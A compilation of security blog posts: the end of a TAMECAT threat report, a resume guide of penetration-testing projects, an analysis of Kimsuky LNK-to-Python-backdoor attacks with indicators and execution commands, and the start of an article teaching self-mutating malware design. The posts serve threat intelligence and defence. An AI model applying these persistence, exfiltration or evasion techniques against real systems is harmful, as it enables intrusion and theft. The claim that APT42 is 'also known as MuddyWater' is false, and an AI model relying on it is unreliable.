Forges browser user-agent strings to masquerade as legitimate network traffic;
Stores encrypted key parameters in specialized request headers to increase decryption difficulty;
Utilizes not only dedicated servers but also social platforms such as Discord and Telegram as backup control channels, further complicating attribution efforts.

II. Anomalous Behavior Indicators: Critical Signals for Detection

To rapidly identify TAMECAT attacks, security teams should prioritize monitoring for the following anomalous behaviors, which can be directly incorporated into defensive rules:

Script execution utilities launching PowerShell or command-line tools accompanied by remote download operations;
PowerShell processes exhibiting suspicious behaviors such as obfuscated command invocations or anomalous encoded string parsing;
Processes attempting to access system local application data directories or creating unidentified configuration files;
Encrypted network requests directed at social platform-associated domains with specialized custom fields in request headers.

III. Defensive Recommendations: Five Critical Actions to Disrupt the Attack Chain

Given TAMECAT's attack characteristics, and drawing upon the Australian Signals Directorate (ASD) PowerShell security guidelines, we recommend constructing a defense system encompassing "endpoint protection, network monitoring, and user education":

Deploy EDR/AV Solutions: Prioritize products supporting PowerShell script monitoring and memory behavior detection, with particular emphasis on intercepting malicious process chains initiated by "VBScript launching PowerShell";
Strengthen PowerShell Security Configuration: In enterprise environments, enable script execution policies (permitting only signed scripts), and activate script block logging to comprehensively record all PowerShell execution content;
Monitor Critical Network Behaviors: Intercept suspicious social platform C2 channel access at firewalls and intrusion prevention systems, with particular attention to auditing anomalous network requests containing specialized request headers;
Restrict Sensitive Directory Access: Implement access controls on critical directories such as system local application data to prevent untrusted processes from creating suspicious files or directories;
Enhance User Security Education: Specifically alert military, government, and classified personnel to exercise caution regarding unsolicited email attachments—particularly files with .vbs or .docm extensions—and to avoid clicking links from unverified sources.

IV. Attribution: APT42's State-Sponsored Espionage Ambitions

Behind TAMECAT lies the notorious Iranian state-sponsored APT42 group (also known as "MuddyWater"), which has long focused on transnational espionage with attack targets spanning government, defense, and energy sectors across the Middle East, Europe, and Asia.

From a technical perspective, APT42's attack methodology demonstrates remarkable consistency: a preference for scripting languages such as PowerShell and VBScript, adept utilization of public cloud platforms for payload storage, and frequent rotation of control channels to evade attribution. The exposure of TAMECAT reaffirms their "modular, covert, and precision-targeted" operational philosophy—achieving long-term surveillance of high-value targets not through complex exploits, but through scripting weapons and social engineering.

Of particular concern is that multiple TAMECAT variants share core code logic, including encoding arrays and string substitution obfuscation techniques, indicating that APT42 is continuously iterating its arsenal. Future attacks may target additional platforms and industries.

The essence of cybersecurity is adversarial engagement, and the weapon iteration velocity of nation-state actors far exceeds conventional expectations. For military institutions, classified enterprises, and other core entities, traditional defenses alone are no longer sufficient. A three-dimensional defense system integrating "endpoints + networks + personnel" is essential to maintain defensive posture in this invisible battlespace.

20 Penetration Testing Projects Worth Adding to Your Resume

Excalibra — Fri, 24 Apr 2026 05:37:20 +0000

Article Summary

This article addresses the needs of job seekers aiming for penetration testing positions by curating 20 real-world projects spanning entry‑level to expert‑level scenarios. It emphasises applying the STAR method (Situation, Task, Action, Result) and quantifying achievements to enhance resume competitiveness. Core points include: Entry‑level projects such as open‑source CMS penetration testing, SRC (Security Response Center) vulnerability mining, and internal network penetration labs; Intermediate projects like red‑team attack and defense exercises, cloud environment penetration testing, industrial control system security assessments, code auditing, and antivirus evasion techniques; and Expert‑level projects including national “hunt” drills, enterprise security architecture design, APT simulation, toolset development, and data security compliance testing. The article highlights the non‑negotiable prerequisite of legal authorisation, and provides differentiated project recommendations tailored to specific roles (SRC researcher, red‑team operator, compliance auditor). The overarching goal is to demonstrate, through complete and closed‑loop projects, the entire penetration testing workflow, vulnerability discovery capabilities, and experience in defensive remediation.

Introduction

Have you submitted dozens of penetration testing resumes only to hear nothing back? Do you stumble when an interviewer asks, “What is the most technically meaningful project you have worked on?” Many resumes are filled with bullet points like “familiar with OWASP Top 10” and “proficient in Burp Suite and Nessus,” yet still fail the initial screening.

Stop making these mistakes. HR and technical reviewers scan hundreds of resumes daily; “tool‑manual” style content leaves no impression. What truly makes a candidate stand out is a complete, closed‑loop project with clear, measurable results that showcases core competencies.

Below are 20 penetration testing projects, organised in a progressive gradient from entry‑level to expert‑level. Each one is designed to hit precisely the points that interviewers consider as differentiators, transforming your resume from “invisible” to “interview‑winning.”

Prerequisites (Must‑Read)

Compliance is paramount. All projects must be conducted under explicit legal authorisation. Unauthorised probing or attacks against any target are strictly prohibited. Follow the Cybersecurity Law, Data Security Law, and other relevant regulations. Compliance is the fundamental bottom line for every security professional.
Adopt the STAR method. Describe every project using the structure Situation (the context you faced), Task (what needed to be accomplished), Action (the measures you took), and Result (the outcomes achieved). Avoid empty, generic statements.
Quantify results. Use concrete numbers: for example, “identified 12 high‑risk vulnerabilities and assisted the organisation in remediation, effectively preventing a data breach that could have exposed millions of records,” rather than “performed a penetration test and found some vulnerabilities.”
Tailor projects to the job role.
- For an in‑house SRC position, emphasise vulnerability discovery and incident response.
- For a red‑team role, highlight internal network penetration and ATT&CK‑based attack simulations.
- For a compliance role, focus on regulatory compliance frameworks (e.g., NIST RMF, ISO 27001, or regional standards) and data security projects.

Part I: Entry‑Level Projects (6 Projects)

These projects are ideal for fresh graduates with no prior experience and career changers entering the field. They quickly fill the blank spaces on a resume and help build a solid foundational knowledge framework, moving you beyond the “script kiddie” label.

1. Full‑Lifecycle Open‑Source CMS Penetration Test

Project Core:

Focus on mainstream open‑source content management systems such as Joomla, Drupal, and WordPress. Independently execute a complete closed‑loop penetration test covering information gathering → vulnerability detection → exploitation → Webshell acquisition → persistence → report delivery.

Resume Highlight:

Demonstrates full‑chain control of the penetration testing process, not just individual vulnerability exploitation. Write:

“Independently performed a full‑lifecycle penetration test (SQL injection, file upload, RCE, etc.), discovering no fewer than **5 verified vulnerabilities, and produced a complete test report with remediation recommendations.”

Frequently Asked Interview Questions:

What was the most challenging defence you encountered during the test?
How did you bypass the WAF?
What is the core principle behind the remediation you proposed?

2. Enterprise SRC Vulnerability Mining Practice

Project Core:

Sign up with legitimate bug bounty platforms (e.g., HackerOne, Bugcrowd, ByteDance, Butian, Vulbox or vendor‑specific SRC programs), conduct authorised vulnerability hunting against approved targets, submit findings, and obtain official severity ratings and acknowledgements.

Resume Highlight:

Provides real‑world combat experience in a genuine enterprise environment. Official vulnerability certifications are “hard currency” for new graduates, far more valuable than local lab exercises. Write:

“Registered on **XX vendor’s SRC platform, submitted **8 high‑ and medium‑risk vulnerabilities, received official certificates of thanks, and assisted the vendor in remediation and security hardening.”

Frequently Asked Interview Questions:

What is the most technically sophisticated vulnerability you have found?
What is your core vulnerability‑hunting methodology?
How do you perform targeted vulnerability detection against a specific website?

3. Internal Network Penetration Basic Lab Practice

Project Core:

Use classic internal network labs such as HTB Active Directory labs or custom domain environments to build a complete intranet attack chain: external reconnaissance → boundary breach → internal information gathering → lateral movement → domain penetration → domain controller compromise.

Resume Highlight:

Internal network penetration is a key qualification for penetration testing roles. This project directly demonstrates your intranet fundamentals. Write:

“Independently completed the penetration test of a **multi‑layer internal domain environment, proficiently employing techniques such as **PTH, PTT, and token manipulation, covering the entire internal network attack chain, and delivered a detailed attack‑path analysis report.”

Frequently Asked Interview Questions:

Can you describe the full process of domain penetration?
What are common lateral movement techniques?
How do you handle endpoint detection and response (EDR) or antivirus obstacles?

4. OWASP Top 10 Vulnerability Reproduction and Exploit Development

Project Core:

Go beyond tool usage. Deeply analyse the principles of all OWASP Top 10 vulnerability types. Set up vulnerable environments to reproduce them, and write custom POC/EXP for high‑profile flaws such as Log4j2 and Shiro deserialisation.

Resume Highlight:

Shakes off the “script kiddie” label, proving a solid understanding of vulnerability root causes and fundamental exploit development skills. Write:

“Independently reproduced and analysed all OWASP Top 10 vulnerability types, developed **POC/EXP* for over ten critical vulnerabilities, constructed complete exploit chains, and produced detailed vulnerability principle analysis reports.”*

Frequently Asked Interview Questions:

Please explain the principle of vulnerability X in detail.
What remediation approach would you recommend?
What optimisations did you implement in your exploit?

5. Mobile Application Penetration Testing

Project Core:

Conduct a comprehensive security assessment of mainstream Android applications using tools such as MobSF, Frida, and IDA. Cover client‑side security, server‑side API security, and data transmission security.

Resume Highlight:

Expands the penetration testing boundary beyond pure web testing, showcasing full‑stack assessment capability – a differentiator on resumes. Write:

“Independently performed an end‑to‑end security test on an Android app, uncovering **hard‑coded credentials, unauthorised APIs, cleartext data transmission* and more than eight other vulnerabilities, and delivered a full test report along with a client‑hardening proposal.”*

Frequently Asked Interview Questions:

How do you bypass SSL Pinning?
What are the core use cases for Frida?
Describe the complete process of reverse engineering an Android app.

6. Incident Response and Traceback Practice

Project Core:

Use dedicated incident response labs to perform Windows and Linux log analysis, malware sample analysis, backdoor hunting, and full attack‑chain traceback, culminating in a formal incident response report.

Resume Highlight:

Demonstrates both offensive and defensive skills – you don’t just attack, you can defend and trace back. This is a highly valued capability for in‑house security teams. Write:

“Conducted multi‑scenario incident response exercises, accurately reconstructed the complete attack chain, performed malware analysis, backdoor removal, and forensic traceback, and generated industry‑standard incident response reports with hardening recommendations.”

Frequently Asked Interview Questions:

What are the critical Windows event IDs for intrusion detection?
How do you locate hidden backdoors on a Linux system?
How do you identify the attacker’s initial entry point?

Part II: Advanced Projects (8 Projects)

These are suited for penetration testers with 1–3 years of experience. They help you break away from the pack, target mid‑to‑high‑salary positions, and cover the most in‑demand scenarios in the industry.

7. Enterprise Red‑Team Attack and Defense Exercise

Project Core:

Simulate a real APT attack flow based on the ATT&CK framework, conducting reconnaissance, social engineering based phishing for initial access, persistence, lateral movement, data exfiltration, and covering tracks – completing the full red‑team kill chain.

Resume Highlight:

Red‑team capability is a core recruitment requirement for security service providers and large tech firms, and a significant salary multiplier. Write:

“As a **core member* of an enterprise red‑team exercise, implemented a complete attack chain aligned with ATT&CK, breached the perimeter using N‑day vulnerabilities and spear‑phishing, performed multi‑layer lateral movement, obtained access to critical business systems, and produced a comprehensive red‑team report with defensive recommendations.”*

Frequently Asked Interview Questions:

What are the key stages of the ATT&CK framework?
Which part of the exercise were you primarily responsible for?
What was the strongest defence you encountered and how did you bypass it?

8. Cloud Environment Penetration Testing

Project Core:

Focus on major cloud providers such as AWS, Azure, Google Cloud, Alibaba Cloud, Tencent Cloud (or other regional providers). Conduct full‑spectrum security assessment of cloud resources: ECS instances, OSS buckets, RDS databases, containers, and Kubernetes clusters, including cloud misconfigurations, container escape, and IAM privilege abuse.

Resume Highlight:

Over 90% of enterprises have adopted cloud services; cloud penetration testing is now an indispensable skill. This project aligns directly with real business environments. Write:

“Performed full‑scenario cloud penetration testing on mainstream cloud platforms, covering compute, storage, container, and K8s cluster security. Discovered high‑risk issues such as **OSS public access, container escape, and improper K8s RBAC configuration, and delivered cloud‑specific hardening guidance.”

Frequently Asked Interview Questions:

What are common container escape techniques?
What are the core security risks in a Kubernetes cluster?
Name typical cloud IAM misconfigurations.

9. Industrial Control System (ICS) Penetration Testing

Project Core:

Set up a simulated industrial control environment, targeting SCADA systems, PLC controllers, and HMI/SCADA software. Discover ICS‑specific vulnerabilities and produce test reports aligned with applicable cybersecurity requirements for operational technology.

Resume Highlight:

ICS security is a nationally prioritised domain with a vast talent gap. ICS penetration capability offers a distinct competitive edge, helping you escape the intense commoditisation of web‑only testing. Write:

“Independently built an ICS simulation environment and performed penetration testing on SCADA, PLC, and HMI components, identifying unauthorised access, hard‑coded credentials, and proprietary protocol vulnerabilities, and delivered standards‑aligned test report and hardening plan.”

Frequently Asked Interview Questions:

What are the fundamental differences between ICS penetration testing and traditional IT penetration testing?
How do you prevent operational impact on live industrial processes?
What security flaws are typical in common industrial protocols?

10. White‑Box Code Auditing Practice

Project Core:

Target open‑source PHP/Java systems and custom enterprise business applications. Use tools like CodeQL, Seay, Fortify, combined with manual review, to uncover vulnerabilities across all categories and produce detailed analysis reports with code‑level fixes.

Resume Highlight:

Code auditing ability is a core competitive advantage. Engineers proficient in white‑box testing find vulnerabilities much more efficiently than those relying solely on black‑box testing – a key hiring demand at large enterprises. Write:

“Conducted white‑box code audits on **more than 20* open‑source or commercial systems, identifying SQL injection, command injection, deserialisation, and other critical flaws, uncovered over 20 high‑risk vulnerabilities, and delivered complete analysis reports with patch code, assisting vendors in releasing security updates.”*

Frequently Asked Interview Questions:

Describe your complete code auditing workflow.
What type of auditing scenario are you most skilled at?
How do you quickly locate dangerous functions and risk points in source code?

11. Antivirus Evasion Research and Tool Development

Project Core:

Research static and dynamic evasion techniques against mainstream domestic EDR and antivirus products. Implement and apply methods such as shellcode encryption, reflective loading, and code obfuscation, and develop your own evasion tools.

Resume Highlight:

Evasion is a core competency in internal network penetration and red‑team operations. Engineers skilled in evasion often command salaries 30% or more above peers without this skill. Write:

“Independently developed multiple evasion tools incorporating shellcode encryption, staged loading, and execution obfuscation. Successfully bypassed static and dynamic detection of leading domestic EDR/AV products, enabling persistence and lateral movement. Produced a detailed technical research report on evasion methodologies.”

Frequently Asked Interview Questions:

What are the mainstream evasion techniques?
How do you bypass EDR behavioural detection?
What is the key advantage of the evasion tool you developed?

12. N‑day Vulnerability Discovery and Exploit Development

Project Core:

Use fuzzing and binary reverse engineering to find vulnerabilities in open‑source components and commercial software. Reproduce and analyse N‑day vulnerabilities, craft complete POC (Proof of Concept) and EXP (Exploit) codes, and submit them to a vulnerability database to obtain official identifiers.

Resume Highlight:

This is a key differentiator from average penetration testers, demonstrating core vulnerability research and development ability – the foundation for entering a security research role in major tech firms. Write:

“Applied fuzzing and reverse engineering techniques to discover and reproduce **three or more high‑risk N‑day vulnerabilities* in open‑source components and commercial software. Authored full POC/EXP and analysis reports, and obtained official CVE identifiers.”*

Frequently Asked Interview Questions:

Describe your complete fuzzing workflow.
What reverse engineering and fuzzing tools do you commonly use?
Walk me through the principle and exploitation chain of one vulnerability you discovered.

13. Social Engineering Hands‑on Project

Project Core:

Participate in the social engineering component of a red‑team exercise. Conduct target information collection, craft phishing email templates, build phishing websites, perform vishing (phone‑based social engineering), and use social engineering to breach the enterprise perimeter.

Resume Highlight:

Over 80% of real‑world attack simulations achieve initial access through social engineering. Social engineering proficiency is a must‑have skill for red‑team members. Write:

“As a core member of a red‑team exercise, independently handled the social engineering attack phase: designed phishing emails, built credential‑harvesting sites, gathered target intelligence, successfully obtained employee account credentials, breached the enterprise boundary, and produced a detailed social engineering attack report and a security awareness training programme.”

Frequently Asked Interview Questions:

What is the most successful social engineering case you have conducted?
How do you increase the click‑through rate of phishing emails?
How do you evade enterprise email security gateways?

14. Enterprise Compliance Penetration Testing Commercial Project

Project Core:

Act as the project lead for small and medium‑sized enterprises, performing penetration testing as part of regulatory compliance evaluations or annual security assessments. Handle the full process: scoping, testing, reporting, client communication, and remediation guidance – achieving a fully closed loop.

Resume Highlight:

Real‑world commercial project experience is a major differentiator for security service positions, much more persuasive than any lab exercise. Write:

“As project lead, successfully delivered **10+ compliance penetration tests* for SMEs, covering web applications, internal networks, and mobile apps. Identified over 50 high‑risk vulnerabilities, produced standards‑aligned compliance reports, and guided clients through remediation and compliance acceptance with 100% satisfaction.”*

Frequently Asked Interview Questions:

What is the full workflow of a commercial penetration test?
How do you communicate security risks to a non‑technical client?
How do you handle a client that refuses to fix a reported vulnerability?

Part III: Expert‑Level Projects (6 Projects)

For professionals with 3+ years of experience, these projects help you target high‑salary, specialist, and management positions at major firms, demonstrating industry influence and a strategic mindset.

15. National / Provincial “Cyber Hunt” Network Attack and Defense Drill Project/Exercise

Project Core:

Serve as a core red‑team member in national‑ or provincial‑level large‑scale red‑vs‑blue exercises (e.g., industry‑wide or national‑level capture‑the‑flag events). Lead a subgroup to breach target organisations, report attack outcomes, perform kill‑chain retrospectives, and deliver comprehensive reports.

Resume Highlight:

Cyber attack and defense experience is the “golden ticket” of the cybersecurity community. Engineers with top‑tier red‑team backgrounds often see their salaries double; it is a door‑opener for T‑level roles at tech giants. Write:

“Served as a core red‑team member in a national/provincial exercise, leading a team to achieve target breakthroughs. Obtained **15+ critical system authorisations, submitted **30+ effective attack results, and ranked within the **top 5* in the province. Delivered the complete attack chain report and enterprise defence optimisation plan.”*

Frequently Asked Interview Questions:

Which part of the network attack and defense drill project did you lead?
What was the strongest defence system you faced and how did you overcome it?
Narrate a classic attack case from your experience.

16. Enterprise Security Architecture Construction Project

Project Core:

From an attacker’s perspective, design and implement a holistic security protection system for a large enterprise, covering perimeter defence, internal network security, endpoint security, data security, and incident response.

Resume Highlight:

Demonstrates your big‑picture view, transforming you from “just a hacker” into a “security expert who understands business and can execute” – the core project for targeting security management or head of security roles. Write:

“As the security expert, led the enterprise security architecture construction project. Performed a full‑spectrum risk assessment from an attacker’s viewpoint, designed and deployed a complete stack including perimeter firewalls, WAF, EDR, SOC, and data leakage prevention. Established a 24/7 incident response mechanism, raising the high‑risk vulnerability remediation rate to **99%* and reducing incident response time by 80%.”*

Frequently Asked Interview Questions:

What is the core philosophy behind enterprise security architecture building?
How do you balance security requirements with business operations?
How do you drive the adoption of security solutions within an organisation?

17. APT Attack Simulation and Attribution Analysis

Project Core:

Replicate the tactics of known APT groups, simulate a complete APT kill chain, perform malware reverse engineering, C2 communication protocol analysis, and attack‑path attribution, ultimately producing an adversary profile and tailored defence strategies.

Resume Highlight:

Showcases top‑tier offensive and defensive research skills – the key project for roles in threat intelligence and security research at leading companies. Write:

“Independently reproduced the TTPs of major APT groups, reconstructed the full attack chain aligned with ATT&CK, performed malware reverse engineering and C2 protocol dissection, conducted attack‑chain attribution, and published the APT group profile along with enterprise‑grade defence recommendations in a **top domestic security community.”

Frequently Asked Interview Questions:

What are the hallmark techniques of the APT groups you have studied?
Describe your complete malware analysis workflow.
How do you attribute and track an APT attack?

18. Penetration Testing Weaponisation Tool Development

Project Core:

Independently design and develop an enterprise‑grade penetration testing toolset covering all phases: reconnaissance, vulnerability scanning, internal network penetration, evasion, and persistence. Open‑source the tools and promote them within the industry.

Resume Highlight:

Top penetration engineers build their own infrastructure. The ability to develop your own tools is the most direct proof of technical depth and the key to industry influence. Write:

“Designed and built an enterprise penetration testing toolset that covers information gathering, vulnerability scanning, and internal network exploitation, solving key pain points of existing tools. The toolset has been used over **100,000* times, with the open‑source project garnering over 2,000 GitHub stars, improving penetration testing efficiency by 300%.”*

Frequently Asked Interview Questions:

What is the core architecture of your tool?
What industry pain point does it solve?
What technology stack did you use, and what are your future optimisation plans?

19. Data Security and Privacy Compliance Penetration Test

Project Core:

Based on the requirements of the Data Security Law and Personal Information Protection Law (PIPL), conduct a full data‑lifecycle security assessment and penetration test for a large enterprise. Identify compliance risks, propose remediation measures, and help the enterprise pass compliance audits.

Resume Highlight:

Data compliance is an urgent need for today’s enterprises. Penetration testers who are proficient in data security and regulations are rare and command a significant salary premium. Write:

“As project lead, successfully delivered a data security compliance penetration test for a large enterprise. In accordance with the applicable local laws and regulations (e.g., data protection, privacy, and cybersecurity laws), performed lifecycle risk assessment, discovering **over 30 compliance risks* including plaintext data storage, unauthorised data access, and excessive personal information collection. Provided a complete remediation plan that enabled the client to pass enabled the client to pass a high‑level compliance audit and data security compliance audits.”*

Frequently Asked Interview Questions:

What is the core approach for a data security penetration test?
What are the key requirements of the PIPL regarding personal information processing?
How do you assess an enterprise’s data leakage risk?

20. Security Research and Industry Influence Building

Project Core:

Dedicate long‑term effort to penetration testing and cybersecurity research. Publish original technical articles on platforms like Medium, Dev.to, Github, SANS ISC; open‑source security tools; apply for CVE identifiers; and accept invitations to speak at security conferences.

Resume Highlight:

This is a defining trait of a senior security expert, demonstrating industry influence and continuous research capability – an essential booster for top‑level positions in large organisations. Write:

“Long‑term engagement in penetration testing and security research: published over **50 original articles* in top domestic communities with cumulative reads exceeding 1 million; open‑source security projects have accumulated 1,000+ GitHub stars; obtained 10+ CVE/CNVD identifiers; and delivered technical talks at industry conferences, earning broad recognition.”*

Frequently Asked Interview Questions:

What is your most impactful research contribution?
What are your views on the future evolution of penetration testing?
What are your upcoming research directions?

Final Thoughts

The field of penetration testing is not about how many knowledge points you have memorised or how many tools you can name. It is about who can solve real problems and who possesses complete, hands‑on, closed‑loop capability.

Every project entry on your resume is a piece of evidence of your ability, not filler text. Rather than listing ten items that merely say “familiar with …,” focus deeply on one project and make it thorough, detailed, and comprehensive.

The twenty projects presented above offer a path for everyone, whether you are a newcomer just entering the field or an experienced practitioner. Put them into practice, and your resume may very well become one that interviewers eagerly reach for.

Disclaimer

The programs and techniques described in this article are intended solely for legal and authorised security research and educational purposes, aimed at enhancing network defence capabilities. Any individual or organisation that uses the content for unauthorised attacks or illegal activities shall bear full legal liability and compensation; the author and publisher assume no joint liability.

Kimsuky Deploys Malicious LNK Files to Implant Python-Based Backdoor in Multi-Stage Attack

Excalibra — Mon, 13 Apr 2026 17:43:19 +0000

Notable Changes Observed in Malicious LNK Files Distributed by Kimsuky Group

Article Summary: The North Korean Kimsuky hacker group recently used malicious LNK files disguised as HWP documents to launch multi-stage attacks. They extended the attack chain by adding intermediate stages such as XML, VBS, and PS1 files to evade detection. The attack creates hidden folders, registers scheduled tasks for persistence, and finally deploys a Python backdoor that supports remote command execution, file theft, and other capabilities. Data is exfiltrated through Dropbox to blend in with normal traffic.

Categories: Malware, Threat Intelligence, Incident Response, Vulnerability Analysis, Red Team

Recently, a clear evolution has been detected in the malicious LNK files being distributed by the Kimsuky group. While the overall flow leading to the execution of a Python-based backdoor or downloader remains similar to previous campaigns, the actual execution process now employs a significantly more complex multi-layered structure. The group is also abusing legitimate cloud services and attempting to evade detection through Python-based malware. Because these files are difficult to identify by appearance alone, user vigilance has become even more critical. In this article, we examine the changed delivery method, key characteristics, and the full attack flow.

[Table 1] Comparison of Past and Recent Delivery Methods

1. Past LNK Delivery Method

1-1. Initial Execution

Previous LNK files operated by executing a PowerShell script that downloaded a BAT file from an external URL.

URL: hxxps://qugesr[.]online/m/bDw

[Figure 1] Malicious BAT Script File

1-2. Intermediate Stage

The downloaded BAT file further downloads additional ZIP files and decoy files. It then downloads split ZIP fragments individually, merges them into a single archive, and extracts it. The resulting archive contains a Python script, Python interpreter, and an XML scheduled task file (sch.db). Based on the XML file, a scheduled task named Microsoft_Upgrade{10-9903-09-821392134} is registered. The Python script is then executed via the task scheduler, ultimately leading to the download and execution of the Python-based backdoor.

[Table 2] Additional File Downloads

[Figure 2] Legitimate Decoy File

2. Recent LNK Delivery Method

2-1. Initial Execution

The recently distributed LNK files — “Resume (Park Seong-min).hwp.lnk” and “Guidelines for Establishing Data Backup and Recovery Procedures (Reference).lnk” — execute a PowerShell script just like previous versions. They create a folder at C:\windirr with hidden and system attributes. This is presumed to be an anti-forensic measure to prevent the path from appearing in normal user file exploration. The LNK then drops and executes the files it contains into this folder. Among them is a legitimate decoy file, and an HWP document using the exact same filename as the LNK is created to fool the victim.

[Figure 3] Legitimate Decoy File

[Table 3] File Functions

2-2. Intermediate Stage

A scheduled task is created based on an XML file. The task name is set to GoogleUpdateTaskMachineCGI__{56C6A980-91A1-4DB2-9812-5158E7E97388}. Inside the XML, a task is defined that repeatedly runs the command wscript.exe /b "C:\windirr\11.vbs" every 17 minutes starting from 2025-08-26 15:17. When the VBS file executes via the scheduler, it launches C:\windirr\pp.ps1.

[Figure 4] Registered Scheduled Task

The pp.ps1 script creates C:\Users\Public\Documents\tmp.ini and saves the information listed in [Table 4] into it. The attackers are using Dropbox as a C2 channel for data exfiltration. Stolen data is uploaded with filenames in the format <userdomain>_<date>_info.ini. Additionally, the file zzz09_test.db_sent from the attacker’s Dropbox is downloaded and saved as C:\Users\Public\Music\hh.bat, then executed with cmd.exe /c C:\Users\Public\Music\hh.bat.

[Table 4] Exfiltrated Information

[Figure 5] Partial Code from pp.ps1

The hh.bat file downloads two split ZIP fragments from the URLs below, merges them into a single ZIP at %TEMP%\G9081234.zip, and extracts it to C:\winii. Inside the archive are an XML scheduled task file (norton.db) and the Python backdoor (beauty.py).

[Table 5] Additional File Downloads

[Figure 6] Partial Code from hh.bat

The final Python backdoor is executed through the XML scheduled task. The hh.bat registers a new task named GoogleExtension{02-2032121-098} to run C:\winii\beauty.py.

3. Python Malware

Two types of Python-based malicious code were identified: a downloader that fetches additional payloads from an external server, and a backdoor that remotely executes attacker commands.

3-1. Backdoor

The backdoor sends a packet containing the string “HAPPY” to the C2 server at 45.95.186[.]232:8080 to signal successful infection. It then communicates using a custom protocol with fixed 4096-byte packets starting with magic bytes 0x99 0x0A 0xBD 0x99. Depending on the command code, it performs the following functions:

Shell command execution
Drive list enumeration
File upload and download
File deletion (with random data overwrite before deletion) and execution (.exe, .bat, .vbs)

During analysis, actions such as collecting drive information, network configuration (via ipconfig), and running processes (via tasklist) were observed.

[Figure 7] Function Branching Based on Attacker Commands

[Table 6] Functions by Command

[Table 7] Commands Sent by Attacker

3-2. Downloader

The downloader connects to the attacker-controlled server, saves VBS and BAT files to the %TEMP% path, and executes them in the background using the CREATE_NO_WINDOW (0x08000000) flag without showing a console window. After 180 seconds, it deletes both files to erase traces.

[Figure 8] Partial Python Downloader Code

4. Kimsuky Group Characteristics

4-1. XML-Based Scheduled Task Registration

The task names used in this backdoor campaign are similar to those previously used by Kimsuky when distributing RAT malware.

[Table 8] Similarity in Scheduled Task Names

4-2. Similar XML Filenames

Kimsuky has historically used XML files in the sch_*.db format for scheduled task registration.

[Table 9] Similarity in XML Filenames

4-3. Reuse of Previously Used Decoy Files

Decoy files used in past Kimsuky campaigns are being reused in these new LNK attacks.

[Figure 9] Legitimate Decoy File Used in Previous Kimsuky Campaigns

5. Conclusion

In this campaign, Kimsuky maintained a similar overall attack flow while introducing structural changes in the intermediate execution stages. The abuse of legitimate cloud services like Dropbox for both data exfiltration and file download, along with the use of Python to bypass detection, are notable features. These changes demonstrate the group’s tactic of keeping the broad attack framework intact while continuously modifying implementation details to evade detection.

LNK files disguised as document files are extremely difficult to identify as malicious based on appearance alone. Therefore, users should always be cautious with files from unknown sources and never execute them recklessly.

Source: AhnLab

The Art of Self-Mutating Malware

Excalibra — Sat, 11 Apr 2026 10:09:15 +0000

Article Summary: This article systematically elaborates on the technical evolution and implementation principles of self-mutating malware, covering the core mechanisms of polymorphic and metamorphic engines. Through two concrete examples — Veil64 and Morpheus — the author "f00crew" from Hong Kong China, analyzes key techniques such as register randomization, algorithmic variants, and intelligent junk code injection. It emphasizes how mutation at the syntactic, structural, and semantic layers can evade signature-based detection while strictly adhering to the principle of behavioral conservation. The author points out that the essence of mutation technology is to keep functionality unchanged while infinitely varying the implementation method, and warns of risks such as code size inflation and stability issues.

Categories: Malware, Binary Security, Vulnerability Analysis, Red Teaming, Penetration Testing

The Art of Self-Mutating Malware

In the beginning, detection relied on signatures — a simple byte string that could uniquely identify a malicious sample. In that era, the process was straightforward: append the virus to the end of a file and patch the entry point. The AV industry quickly responded with signature databases, and for a period, the rhythm of this confrontation was predictable.

This article discusses how to implement self-mutating malicious code: how to build your own polymorphic engine, and some core ideas behind metamorphic code. For malicious code, self-mutation is one of the most elegant paths to solving the detection problem. You no longer just hide yourself — you become “another you” with every replication. This is the purest form of digital evolution.

The concepts we discuss do not depend on any specific implementation. Although the article uses real examples and practical principles from code I have written, the real value lies in understanding the underlying theory of “why mutation is feasible.”

Let’s go back to the beginning. Early VX practices were crude: they directly overwrote files and caused destruction. Some samples would first run the original program and then deliver their own payload. AV quickly caught up, mainly relying on signature scanning to catch samples.

The VX community evolved accordingly and began encrypting their code. The payload remained encrypted and was only unpacked at runtime. AV then turned its attention to the decryptor, so VX authors began dynamically transforming decryption routines. Some families even automatically rotated decryptors — this type later became known as oligomorphic.

Around 1985 to 1990, AV dominated with static signature scanning: string matching and fixed byte patterns made samples easy to hit once they landed on disk. By the early 1990s, the situation began to change. Virus bodies started to be encrypted, exposing only a decryption stub. This stub immediately became AV’s primary hunting target and spurred the development of wildcard and heuristic scanning.

Then polymorphic viruses appeared. The virus would automatically generate a new decryptor at creation time or during each infection. Each instance had its own encryption/decryption routine and evaded scanning by rearranging machine code. This was the typical feature from 1995 to 2000: the same virus, infinite appearances. Dark Avenger’s MtE engine completely rewrote the rules of this game.

After that, metamorphic viruses emerged. They no longer relied on an encryption shell. They would rewrite the entire body with every infection. Code structure, control flow, and register usage would all change, but the payload remained unchanged. Between 2000 and 2005, metamorphic samples like Zmist and Simile raised the bar even higher: there was no fixed decryptor to track — only continuous code mutation.

Metamorphic code changes everything, not just the decryptor. It evolved from polymorphism but upgraded from “encryption camouflage” to “overall code reshaping.” Detection difficulty is extremely high; implementation difficulty is equally high, especially at the assembly level.

Overview

When it comes to self-modifying loaders, you have two paths. The first is to keep it small and aggressive: build a lightweight, fast loader that only performs “just enough” mutation — tweak a few places here, quickly shuffle a few there — to slip past scanners without triggering obvious alerts. The code remains compact and raw, but reliable enough.

The other path is full metamorphosis. The loader no longer just fine-tunes itself; it disassembles and rebuilds itself. Layouts are rearranged, instructions are scattered, and entirely new encryption is used on every run. Even if reverse engineers and AV capture one version, the next version will look like a completely unfamiliar sample.

This is not magic. Making it run stably after every mutation is extremely difficult. You must build in validation: count instructions, verify jumps, and perform sanity checks on every change — otherwise it will crash immediately. Even more troublesome is that code size can balloon out of control, eventually losing practicality.

Before discussing specific techniques, we must first clarify: when we talk about executable code, what does “mutation” really mean? It is not just “changing a few bytes,” but the relationship between “form and function,” and how far this relationship can be stretched without destroying behavior.

— The Essence of Identity —

What exactly makes a program “itself”? Is it the order of instructions? Register usage? Memory layout? Or something deeper, like intent?

Mutation’s answer is: identity does not lie in what the code looks like, but in what the code does. As long as two binaries produce the same output for the same input, they are functionally equivalent — even if their assembly is completely different.

Version A:                    Version B:                    Version C:
mov eax, 0                    xor eax, eax                  sub eax, eax
inc ebx                       add ebx, 1                    lea ebx, [ebx+1]

Bytes:                        Bytes:                        Bytes:
B8 00 00 00 00 43             31 C0 83 C3 01                29 C0 8D 5B 01

Three completely different byte patterns that produce identical behavior. This was my “eureka moment” and the starting point for all subsequent implementations.

